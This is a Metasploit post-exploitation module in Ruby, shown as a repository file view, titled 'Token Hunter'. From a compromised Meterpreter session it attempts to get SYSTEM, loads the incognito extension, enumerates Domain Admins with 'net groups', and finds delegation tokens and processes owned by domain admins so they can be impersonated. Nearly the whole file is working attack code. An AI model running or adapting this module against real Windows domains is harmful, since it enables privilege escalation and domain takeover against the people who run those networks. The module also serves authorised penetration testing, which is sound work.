21f6127e29
Change all Platform 'windows' to 'win', as it internally is an alias anyway and only causes unnecessary confusion to have two platform names that mean the same.
206 lines
5.4 KiB
Ruby
206 lines
5.4 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'msf/core/post/windows/priv'
|
|
require 'msf/core/post/common'
|
|
|
|
class Metasploit3 < Msf::Post
|
|
include Msf::Post::Windows::Priv
|
|
include Msf::Post::Common
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "Windows Gather Enumerate Domain Admin Tokens (Token Hunter)",
|
|
'Description' => %q{
|
|
This module will identify systems that have a Domain Admin (delegation) token
|
|
on them. The module will first check if sufficient privileges are present for
|
|
certain actions, and run getprivs for system. If you elevated privs to system,
|
|
the SeAssignPrimaryTokenPrivilege will not be assigned, in that case try
|
|
migrating to another process that is running as system. If no sufficient
|
|
privileges are available, the script will not continue.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Version' => '$Revision$',
|
|
'Platform' => ['win'],
|
|
'SessionTypes' => ['meterpreter'],
|
|
'Author' => ['Joshua Abraham <jabra[at]rapid7.com>']
|
|
))
|
|
register_options(
|
|
[
|
|
OptBool.new('GETSYSTEM', [ true, 'Attempt to get SYSTEM privilege on the target host.', true])
|
|
], self.class)
|
|
end
|
|
|
|
def get_system
|
|
print_status("Trying to get SYSTEM privilege")
|
|
results = session.priv.getsystem
|
|
if results[0]
|
|
print_status("Got SYSTEM privilege")
|
|
else
|
|
print_error("Could not obtain SYSTEM privileges")
|
|
end
|
|
end
|
|
|
|
def priv_check
|
|
if is_system?
|
|
privs = session.sys.config.getprivs
|
|
if privs.include?("SeAssignPrimaryTokenPrivilege") and privs.include?("SeIncreaseQuotaPrivilege")
|
|
return true
|
|
else
|
|
return false
|
|
end
|
|
elsif is_admin?
|
|
return true
|
|
else
|
|
return false
|
|
end
|
|
end
|
|
|
|
def get_members(results)
|
|
members = []
|
|
|
|
# Usernames start somewhere around line 6
|
|
results = results.slice(6, results.length)
|
|
# Get group members from the output
|
|
results.each do |line|
|
|
line.split(" ").compact.each do |user|
|
|
next if user.strip == ""
|
|
next if user =~ /-----/
|
|
next if user =~ /The command completed successfully/i
|
|
members << user.strip
|
|
end
|
|
end
|
|
|
|
return members
|
|
end
|
|
|
|
# return the value from the registry
|
|
def reg_getvaldata(key,valname)
|
|
value = nil
|
|
begin
|
|
root_key, base_key = client.sys.registry.splitkey(key)
|
|
open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ)
|
|
value = open_key.query_value(valname).data
|
|
open_key.close
|
|
rescue
|
|
end
|
|
return value
|
|
end
|
|
|
|
# extract the primary domain from the registry
|
|
def get_domain
|
|
domain = nil
|
|
begin
|
|
subkey = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History"
|
|
v_name = "DCName"
|
|
dom_info = reg_getvaldata(subkey, v_name)
|
|
if not dom_info.nil? and dom_info =~ /\./
|
|
foo = dom_info.split('.')
|
|
domain = foo[1].upcase
|
|
else
|
|
print_error("Error parsing output from the registry. (#{dom_info})")
|
|
end
|
|
rescue
|
|
print_error("This host is not part of a domain.")
|
|
end
|
|
return domain
|
|
end
|
|
|
|
def run
|
|
if session
|
|
@host_info = session.sys.config.sysinfo
|
|
else
|
|
print_error("Error! The session is not fully loaded yet")
|
|
return
|
|
end
|
|
|
|
print_status("Scanning session #{session.sid} / #{session.session_host}")
|
|
|
|
# get system, if requested.
|
|
get_system if (session.sys.config.getuid() !~ /SYSTEM/ and datastore['GETSYSTEM'])
|
|
|
|
## Make sure we meet the requirements before running the module
|
|
if not priv_check
|
|
print_error("Abort! Did not pass the priv check")
|
|
return
|
|
end
|
|
|
|
# get var
|
|
domain = get_domain
|
|
|
|
if domain.nil?
|
|
return
|
|
end
|
|
|
|
# load incognito
|
|
session.core.use("incognito") if(! session.incognito)
|
|
|
|
if(! session.incognito)
|
|
print_error("Failed to load incognito on #{session.sid} / #{session.session_host}")
|
|
return
|
|
end
|
|
|
|
# gather data
|
|
usr_res = cmd_exec("net", "groups \"Domain Admins\" /domain")
|
|
domain_admins = get_members(usr_res.split("\n"))
|
|
|
|
domain_admins.each do |da_user|
|
|
#Create a table for domain admin PIDs, users, IPs, and SIDs
|
|
tbl_pids = Rex::Ui::Text::Table.new(
|
|
'Header' => 'Domain admin token PIDs',
|
|
'Indent' => 1,
|
|
'Columns' => ['sid', 'IP', 'User', 'PID']
|
|
)
|
|
|
|
# parse delegation tokens
|
|
res = session.incognito.incognito_list_tokens(0)
|
|
if res
|
|
res["delegation"].split("\n").each do |user|
|
|
ndom,nusr = user.split("\\")
|
|
if not nusr
|
|
nusr = ndom
|
|
ndom = nil
|
|
end
|
|
|
|
if ndom == domain and da_user == nusr
|
|
sid = session.sid
|
|
peer = session.session_host
|
|
print_good("Found token for session #{sid}: #{peer} - #{nusr} (Delegation Token)")
|
|
end
|
|
end
|
|
end
|
|
|
|
# parse process list
|
|
domain_admin_pids = ""
|
|
session.sys.process.get_processes().each do |proc|
|
|
if (proc['user'] == "#{domain}\\#{da_user}")
|
|
sid = session.sid
|
|
peer = session.session_host
|
|
target_pid = proc['pid']
|
|
tbl_pids << [sid, peer, da_user, target_pid]
|
|
print_good("Found PID on session #{sid}: #{peer} - #{da_user} (PID: #{target_pid})")
|
|
end
|
|
end
|
|
|
|
#At the end of the loop, store and print results for this da_user
|
|
if not tbl_pids.rows.empty? and session.framework.db.active
|
|
report_note(
|
|
:host => session.session_host,
|
|
:type => "pid",
|
|
:data => tbl_pids.to_csv
|
|
)
|
|
end
|
|
end
|
|
end
|
|
|
|
end
|